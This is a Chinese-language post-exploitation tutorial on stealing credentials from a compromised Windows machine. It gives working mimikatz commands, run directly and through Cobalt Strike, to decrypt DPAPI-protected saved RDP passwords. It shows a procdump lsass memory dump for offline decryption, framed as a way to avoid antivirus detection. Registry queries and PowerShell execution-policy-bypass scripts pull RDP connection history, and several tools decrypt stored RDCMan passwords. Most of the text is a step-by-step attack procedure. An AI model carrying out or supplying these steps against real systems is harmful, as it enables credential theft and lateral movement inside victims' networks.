14.受害機Credentials解密、RDP連接記錄獲取和RDCMan密碼獲取


一、受害機Credentials解密之RDP

 

Credentials的解密是Windows系統信息收集中非常重要的一環,其中包括各類敏感、重要的憑證(這個可以理解為密碼),這里我們就以RDP的密碼來引入

 

1、可破解的原理:

在我們點擊保存密碼后,Windows就通過MasterKey將我們的密碼加密后保存在本地,由於Windows還需要解密從而使用,所以這個過程是可逆,也正因為這一緣由,我們只要拿到MasterKey就能將密碼解出來。

 

2、保存在本地的RDP密碼:

注意:這一系列操作都是要在該用戶的session下操作的,不能在system的session下操作,因為system是不會去連接RDP后保存的密碼的。我們可以先去mstsc嘗試遠程連接,並勾選保存憑據,記住保存的時間,一會我們根據時間找文件

 

保存的憑據是放在C:\Users\<username>\AppData\Local\Microsoft\Credentials,可以在命令行用dir /a 命令查看:

 

也可以通過cmdkey /list 查看當前用戶保存的憑據,其中Domain Password(即域密碼)就是我們要的可以嘗試登錄的RDP密碼,當然也可以通過SMB登錄

 

3、解密:

 

①  先獲取該文件的MasterKey的guid:

mimikatz "dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB" "exit"

 

所以用於加密憑據文件7126E91520138D9EB38B118734191EBB的MasterKey的guid就是:{b6e84104-e55c-42e5-af1d-e821429dd3d6},所以我們只要從內存中找到這個guid對應的MasterKey的值即可

 

②  通過guid獲取對應的MasterKey值:

mimikatz "privilege::debug" "sekurlsa::dpapi" "exit"

 

在輸出的結果中通過guid找到對應的MasterKey:

 

③  最后打開mimikatz通過MasterKey值去解密憑據文件:

dpapi::cred /in:憑據文件路徑 /masterky::masterky值

如:

dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98

 

4、Cobalt Strike下的操作:

因為我們⼀般不會把mimikatz上傳到⽬標,所以我們可以借⽤Cobalt Strike的mimikatz來進⾏這⼀系列操作。但是cs的操作跟我們的直接在mimikatz終端是不太⼀樣

 

①  cs在獲取了繞過UAC的管理員權限之后是不需要執⾏

   privilege::debug

 

②  在cs上執⾏mimikatz是不⽤ exit的

 

③  雙引號⾃⼰根據實際情況增刪

如:

Mimikatz dpapi::cred /in:C:\Users\ASUS\AppData\Local\Microsoft\Credentials\7126E91520138D9EB38B118734191EBB /masterky:71161f3a0301c03abd237c53c393693a2dbb4a02544e3589e162a9e6c842156e8714f7257caee635367938671028cac057d2a5b002a5669198800cc830eb5c98

 

 

二、離線解密目標Credentials【免殺一切】:

 

 

由於我們不能保證我們的mimikatz是免殺狀態,為了避免被對方發現,我們可以離線解密從而達到獲取密碼的目的

 

1、離線解密目標credentials的原理:

其實很簡單,就是把目標的文件和內存下載回來,在vps或本機上進行mimikatz解密即可。

 

2、具體操作

①  下載目標內存:

procdump64.exe -accepteula -ma lsass.exe lsass1.dump

 

②  下載目標的Credentials文件:

目標Credentials文件在C:\Users\<username>\AppData\Local\Microsoft\Credentials,如果目標有多個用戶,就需要將多個用戶的文件下載回來,如果該用戶沒有登陸的話,我們是沒有辦法解密的,因為此時該用戶的MasterKey並沒有分配到內存。

 

這里忘了說了,這個credentials目錄下的內容是隱藏的,需要取消勾選這個選項從而顯示文件:

 

③  用mimikatz載入dump回來的內存:

Sekurlsa::minidump lsass1.dump           // lsass1.dump是內存文件名,隨便取的

 

④  獲取Credentials的GUID:

 

到了這一步,后面的就和在線獲取差不多了。

我們可以輸入dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D來獲取GUID(這里由於我把Credentials文件放在mimikatz同目錄下,所以我用的相對路徑)

得到:guidMasterKey  :   {3a1a9d6b-6bca-4f4a-9e94-831967345b88}

 

⑤  獲取內存中所有的MasterKey,並通過GUID對比得出想要的那一個:

命令:sekurlsa::dpapi

 

⑥  利用MasterKey解密

dpapi::cred /in:DFBE70A7E5CC19A398EBF1B96859CE5D /masterkey:568359fcc7e914452a21a009fd0ee4dc70087a525b3aeafe63de6e1c395ac5486152c6b90fbb8f8de73e0a9e508d8656bc9fac0576e67141f5d828596a7c279e

 

 

三、RDP連接記錄獲取和RDCMan密碼獲取

 

 

1、RDP連接記錄:

在滲透的過程中,我們最希望的還是獲取一些RDP的記錄和憑證,說不定能上郵件服務器、OA、殺軟服務器,而每當管理員使用mstsc連接過遠程桌面卻沒有手動刪除時都會留下記錄的,我們滲透時要的就是這個記錄

 

2、RDP連接記錄的獲取:

 

①  手動讀取注冊表:

reg query HKEY_USERS

 

得到當前用戶的SID后繼續讀取:

 

然后接着讀取(注意,讀取的路徑除了SID因為用戶不一致,其他的都是一樣的;這里有雙引號是因為有空格避免報錯):

 

然后我們繼續在命令中加上這兩個枚舉出來IP就可以了,我這里是沒有保存密碼的,如果有密碼會多處一行CertHash的內容:

 

②  Powershell:

所有的工具、腳本都是操作系統來執行而已,該腳本也是代替人工執行cmd選擇,加快速度。

 

列出當前用戶的連接記錄:

https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListLogged-inUsers.ps1

命令:powershell -exxec bypass -f ListLogged-inUsers.ps1

 

列出所有用戶的連接記錄(這個要繞過UAC權限):

https://raw.githubusercontent.com/3gstudent/List-RDP-Connections-History/master/ListAllUsers.ps1

命令:powershell -exxec bypass -f ListAllUsers.ps1

 

2、關於RDCMan:

 

RDCMan全稱Remote Desktop Connection Manager(多遠程桌面管理)是微軟Windows Live體驗團隊的主要開發者Julian Burger開發的一個遠程桌面管理工具。RDCMan可以集中管理、分類、組織遠程桌面,相比Windows系統自帶的遠程桌面管理工具mstsc.exe要更方便、省時的多,尤其是你管理大量服務器或同時連接多台服務器進行操作、切換工作是。官方下載鏈接為:https://www.microsoft.com/en-us/download/details.aspx?id=44989

雖然官方的下載鏈接已經失效了,但由於這款工具實在好用,不少管理員還是喜歡的。

 

①  獲取連接記錄:

該工具的連接記錄是保存在*.rdg文件里的,在之前列出全盤文件列表可以查找到:

 

②  獲取密碼:

這個工具的密碼的保存分在兩個地方,一個是全局文件,另一個是用戶保存的rdg文件。

全局文件路徑在文件的安裝目錄下,如果是默認的安裝路徑,則是:C:\Users\Hacker\AppData\Local\Microsoft\RemoteDesktopConnectionManager\RDCMan.settings,也可以直接搜索文件名稱。

 

③  解碼:

雖然密碼保存的位置不同,但是解碼原理都是一樣的,都是利用DPAPI,所以我們可以利用一下幾種方式解密:

 

Ⅰ  C#:

項目地址:https://github.com/winterific/RDCManTest

修改MainTest.cs的代碼為:

 

並把輸出類改為:控股台應用程序,假設編譯初的文件名是RDCManTest.exe

 

我們就把RDCManTest.exe和RDCMan.dll放到目標取,然后進入cmd下執行:RDCManTest.exe hash

RDCMan.dll的出處:可以直接把目標的rdcman..exe復制為RDCMan.dll

 

Ⅱ  利用powershell:

保存為ps1文件,執行:powershell -exec bypass -f DecryptRDCMan.ps1 ,具體細節看代碼即可。

 

Ⅲ  mimikatz:

dpapi:rdg /in:c:\users\hacker\desktop\4.rdg /unprotect

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM